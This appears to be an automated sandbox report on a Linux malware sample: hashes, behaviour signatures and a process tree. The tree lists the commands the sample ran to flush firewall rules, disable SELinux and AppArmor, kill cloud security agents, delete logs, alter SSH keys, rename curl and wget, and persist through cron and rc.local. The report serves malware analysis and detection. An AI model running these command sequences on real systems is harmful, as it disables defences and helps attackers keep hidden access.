Analysis
-
max time kernel
149s -
max time network
138s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
31-03-2024 19:45
Static task
static1
Behavioral task
behavioral1
Sample
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
-
Target
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
-
Size
41KB
-
MD5
5c75e6f27cc568187e4b7a6371c61181
-
SHA1
b485da0e29adf4b1c34e9b833f0aba7e7b40655d
-
SHA256
1e39f5f7d640646d7b219aedb10f8db7e89279597c59f3a8944fcee1b9827dda
-
SHA512
bbd352c6fc2f2e0dd1db3c81eff5499ed45f1c70bb37a536aac39cebc4b89964c8fd584272c5fb0690bd26cde961a55602b3dabef7adc9cb11d01bbfbad94282
-
SSDEEP
768:o7+FNcuFVc2zV0xvfK4urZuishkZBxWJY:bF+Ec20/url/xWJY
Malware Config
Signatures
-
Adds new SSH keys 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
Processes:
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /root/.ssh/authorized_keys 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 -
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
Processes:
iptablespid Process 712 iptables -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
Processes:
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /etc/resolv.conf 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
xargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargschattrchattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargspid Process 1075 xargs 1232 xargs 1612 xargs 1784 xargs 1800 xargs 1100 xargs 1454 xargs 1632 xargs 1740 xargs 2143 2247 2604 1133 xargs 1218 xargs 1511 xargs 2584 876 chattr 969 xargs 1173 xargs 1386 xargs 1481 xargs 1622 xargs 1178 xargs 1602 xargs 1667 xargs 1798 xargs 1768 xargs 868 xargs 873 chattr 1138 xargs 1760 xargs 1776 xargs 1814 xargs 1540 xargs 1597 xargs 2586 1786 xargs 2123 875 chattr 1123 xargs 1582 xargs 1657 xargs 1754 xargs 2163 1268 xargs 1391 xargs 1459 xargs 2103 710 chattr 886 chattr 908 xargs 1039 xargs 2139 1019 xargs 1095 xargs 1143 xargs 1300 xargs 1607 xargs 1730 xargs 2127 1080 xargs 1163 xargs 1198 xargs 1223 xargs -
Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /etc/cron.daily/logrotate 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /etc/cron.hourly/0anacron 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /var/spool/cron/1 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /etc/cron.d/.zsh 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /etc/crontab 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 -
Disables AppArmor 64 IoCs
Disables AppArmor security module.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlpid Process 809 systemctl 2088 2101 791 systemctl 807 systemctl 2093 2099 780 systemctl 2098 2201 2213 801 systemctl 811 systemctl 2076 2204 2212 2196 2075 2086 2083 760 systemctl 2073 2083 2227 780 systemctl 780 systemctl 2196 2234 813 systemctl 2207 760 systemctl 780 systemctl 2231 2216 792 systemctl 2077 2208 780 systemctl 2226 2230 2233 2221 799 systemctl 2069 2090 2083 2209 2196 2196 2229 2080 2206 2210 2216 779 systemctl 2083 795 systemctl 2081 2072 783 systemctl 1999 2092 2216 816 systemctl -
Disables SELinux 11 IoCs
Disables SELinux security module.
Processes:
killkillkillkillgrepsetenforcekillgrepgrepgrepkillpid Process 1045 kill 1045 kill 1045 kill 1045 kill 1201 grep 759 setenforce 1045 kill 1313 grep 1625 grep 1645 grep 1045 kill -
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies rc script 1 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
Processes:
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /etc/rc.d/rc.local 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 -
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pspspspgreppgreppspspspspgreppspgreppspspspspspspspspspspgreppspskillpgreppspspgreppgreppspgreppgreppspspspspspgreppspspspgreppgreppspsdescription ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Write file to user bin folder 1 TTPs 6 IoCs
Processes:
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /usr/bin/kswaped 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /usr/bin/irqbalanced 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /usr/bin/rctlcli 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /usr/bin/systemd-network 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /usr/bin/pamdicks 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /usr/bin/ip6network 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 -
Writes file to system bin folder 1 TTPs 6 IoCs
Processes:
5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /bin/ps File opened for modification /bin/top 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /bin/top File opened for modification /bin/pstree 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /bin/pstree File opened for modification /bin/ps 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctldescription ioc Process File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pgreppspspspspgreppspspgreppgreppgreppspgreppspspspspspspspgreppspgreppspspspgreppspgreppsawkpspgreppspspkillpspspspspgrepdescription ioc Process File opened for reading /proc/72/status pgrep File opened for reading /proc/74/status ps File opened for reading /proc/669/cmdline ps File opened for reading /proc/147/cmdline ps File opened for reading /proc/673/cmdline ps File opened for reading /proc/17/status File opened for reading /proc/14/status pgrep File opened for reading /proc/372/status File opened for reading /proc/36/cmdline ps File opened for reading /proc/371/status ps File opened for reading /proc/4/status pgrep File opened for reading /proc/375/cmdline pgrep File opened for reading /proc/371/status pgrep File opened for reading /proc/222/stat ps File opened for reading /proc/73/status pgrep File opened for reading /proc/325/stat ps File opened for reading /proc/12/status ps File opened for reading /proc/77/cmdline ps File opened for reading /proc/706/cmdline File opened for reading /proc/16/stat ps File opened for reading /proc/5/stat ps File opened for reading /proc/1405/stat ps File opened for reading /proc/222/status ps File opened for reading /proc/18/cmdline pgrep File opened for reading /proc/328/cmdline File opened for reading /proc/6/status File opened for reading /proc/1143/cmdline ps File opened for reading /proc/16/status File opened for reading /proc/669/cmdline ps File opened for reading /proc/3/cmdline File opened for reading /proc/11/status File opened for reading /proc/104/cmdline File opened for reading /proc/325/status File opened for reading /proc/8/status File opened for reading /proc/325/status File opened for reading /proc/73/status pgrep File opened for reading /proc/239/status File opened for reading /proc/139/stat ps File opened for reading /proc/166/status ps File opened for reading /proc/113/stat ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/673/cmdline pgrep File opened for reading /proc/36/cmdline File opened for reading /proc/70/stat ps File opened for reading /proc/663/cmdline pgrep File opened for reading /proc/5/cmdline File opened for reading /proc/104/cmdline ps File opened for reading /proc/1603/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/78/stat ps File opened for reading /proc/13/cmdline pgrep File opened for reading /proc/1/status File opened for reading /proc/10/status ps File opened for reading /proc/674/status ps File opened for reading /proc/1415/stat ps File opened for reading /proc/322/cmdline pkill File opened for reading /proc/75/stat ps File opened for reading /proc/139/cmdline ps File opened for reading /proc/222/stat ps File opened for reading /proc/695/status ps File opened for reading /proc/239/cmdline File opened for reading /proc/114/cmdline pgrep File opened for reading /proc/328/status pgrep File opened for reading /proc/17/status -
Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
Processes:
apt-getapt-get5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118description ioc Process File opened for modification /tmp/fileutl.message.9U5ow8 apt-get File opened for modification /tmp/fileutl.message.ySfBYe apt-get File opened for modification /tmp/fileutl.message.uVz6bu apt-get File opened for modification /tmp/fileutl.message.xwVoVh apt-get File opened for modification /tmp/svcguard 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /tmp/fileutl.message.dYom13 apt-get File opened for modification /tmp/fileutl.message.4HoWQ4 apt-get File opened for modification /tmp/fileutl.message.He3fqJ apt-get File opened for modification /tmp/fileutl.message.ElpEed apt-get File opened for modification /tmp/kdevtmpfsi 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118 File opened for modification /tmp/svcupdate 5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118
Processes
-
/tmp/5c75e6f27cc568187e4b7a6371c61181_JaffaCakes118/tmp/5c75e6f27cc568187e4b7a6371c61181_JaffaCakes1181⤵
- Adds new SSH keys
- Writes DNS configuration
- Creates/modifies Cron job
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:699 -
/bin/rmrm -rf /var/log/syslog2⤵PID:700
-
-
/bin/chmodchmod 777 /usr/bin/chattr2⤵PID:702
-
-
/bin/chmodchmod 777 /bin/chattr2⤵PID:703
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:705
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Attempts to change immutable files
PID:710
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:712
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:717
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:719
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:722
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:724
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:726
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:728
-
-
/bin/catcat /var/spool/cron/12⤵PID:730
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:733
-
-
/bin/mvmv /usr/bin/wgettnt /usr/bin/wd12⤵PID:735
-
-
/bin/mvmv /usr/bin/curltnt /usr/bin/cd12⤵PID:736
-
-
/bin/mvmv /usr/bin/wget1 /usr/bin/wd12⤵PID:737
-
-
/bin/mvmv /usr/bin/curl1 /usr/bin/cd12⤵PID:739
-
-
/bin/mvmv /usr/bin/cur /usr/bin/cd12⤵PID:741
-
-
/bin/mvmv /usr/bin/cdl /usr/bin/cd12⤵PID:742
-
-
/bin/mvmv /usr/bin/cdt /usr/bin/cd12⤵PID:744
-
-
/bin/mvmv /usr/bin/xget /usr/bin/wd12⤵PID:747
-
-
/bin/mvmv /usr/bin/wge /usr/bin/wd12⤵PID:748
-
-
/bin/mvmv /usr/bin/wdl /usr/bin/wd12⤵PID:750
-
-
/bin/mvmv /usr/bin/wdt /usr/bin/wd12⤵PID:751
-
-
/bin/mvmv /usr/bin/wget /usr/bin/wd12⤵PID:752
-
-
/bin/mvmv /usr/bin/curl /usr/bin/cd12⤵PID:754
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:755
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:756
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:758
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:757
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:759
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:760
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:761
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:762
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:763
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:767
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:768
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:769
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:770
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:771
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:772
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:773
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:774
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:775
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:776
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:777
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:778
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:760
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:760
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵PID:760
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵PID:760
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵PID:760
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵PID:760
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:779
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:780
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:781
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:782
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:783
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor
PID:791
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:792
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:795
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:796
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor
PID:799
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor
PID:801
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:803
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:805
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:807
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:809
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:811
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:813
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:780
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:780
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:780
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:780
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:780
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:780
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:816
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:821
-
-
/bin/grepgrep aegis2⤵PID:820
-
-
/bin/grepgrep -v grep2⤵PID:819
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:822
-
-
/bin/psps aux2⤵PID:818
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:829
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:828
-
-
/bin/grepgrep Yun2⤵PID:827
-
-
/bin/grepgrep -v grep2⤵PID:826
-
-
/bin/psps aux2⤵PID:825
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:832
-
-
/bin/rmrm -f /tmp/.null2⤵PID:833
-
-
/bin/sleepsleep 12⤵PID:834
-
-
/usr/bin/apt-getapt-get install -y unhide2⤵
- Writes file to tmp directory
PID:855 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵PID:858
-
-
-
/usr/bin/apt-getapt-get install -y gawk2⤵
- Writes file to tmp directory
PID:860 -
/usr/bin/dpkg/usr/bin/dpkg --print-foreign-architectures3⤵PID:862
-
-
-
/bin/sleepsleep 12⤵PID:864
-
-
/usr/bin/awkawk "{print \$4}"2⤵PID:867
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:868
-
-
/bin/grepgrep PID:2⤵PID:866
-
-
/usr/sbin/unhide/usr/sbin/unhide quick2⤵PID:865
-
-
/bin/sleepsleep 12⤵PID:869
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵PID:872
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Attempts to change immutable files
PID:873
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵PID:874
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
- Attempts to change immutable files
PID:875
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵
- Attempts to change immutable files
PID:876
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵PID:877
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵PID:878
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵PID:880
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵PID:882
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵PID:883
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵PID:884
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵
- Attempts to change immutable files
PID:886
-
-
/bin/sleepsleep 12⤵PID:888
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:906
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:907
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:908
-
-
/bin/grepgrep 185.71.65.2382⤵PID:905
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:914
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:913
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:912
-
-
/bin/grepgrep 140.82.52.872⤵PID:911
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:921
-
-
/bin/grepgrep -v -2⤵PID:920
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:919
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:918
-
-
/bin/grepgrep :4432⤵PID:917
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:928
-
-
/bin/grepgrep -v -2⤵PID:927
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:926
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:925
-
-
/bin/grepgrep :232⤵PID:924
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:934
-
-
/bin/grepgrep -v -2⤵PID:933
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:932
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:931
-
-
/bin/grepgrep :4432⤵PID:930
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:942
-
-
/bin/grepgrep -v -2⤵PID:941
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:940
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:939
-
-
/bin/grepgrep :1432⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:948
-
-
/bin/grepgrep -v -2⤵PID:947
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:946
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:945
-
-
/bin/grepgrep :22222⤵PID:944
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:955
-
-
/bin/grepgrep -v -2⤵PID:954
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:953
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:952
-
-
/bin/grepgrep :33332⤵PID:951
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:962
-
-
/bin/grepgrep -v -2⤵PID:961
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:960
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:959
-
-
/bin/grepgrep :33892⤵PID:958
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:969
-
-
/bin/grepgrep -v -2⤵PID:968
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:967
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:966
-
-
/bin/grepgrep :55552⤵PID:965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:976
-
-
/bin/grepgrep -v -2⤵PID:975
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:974
-
-
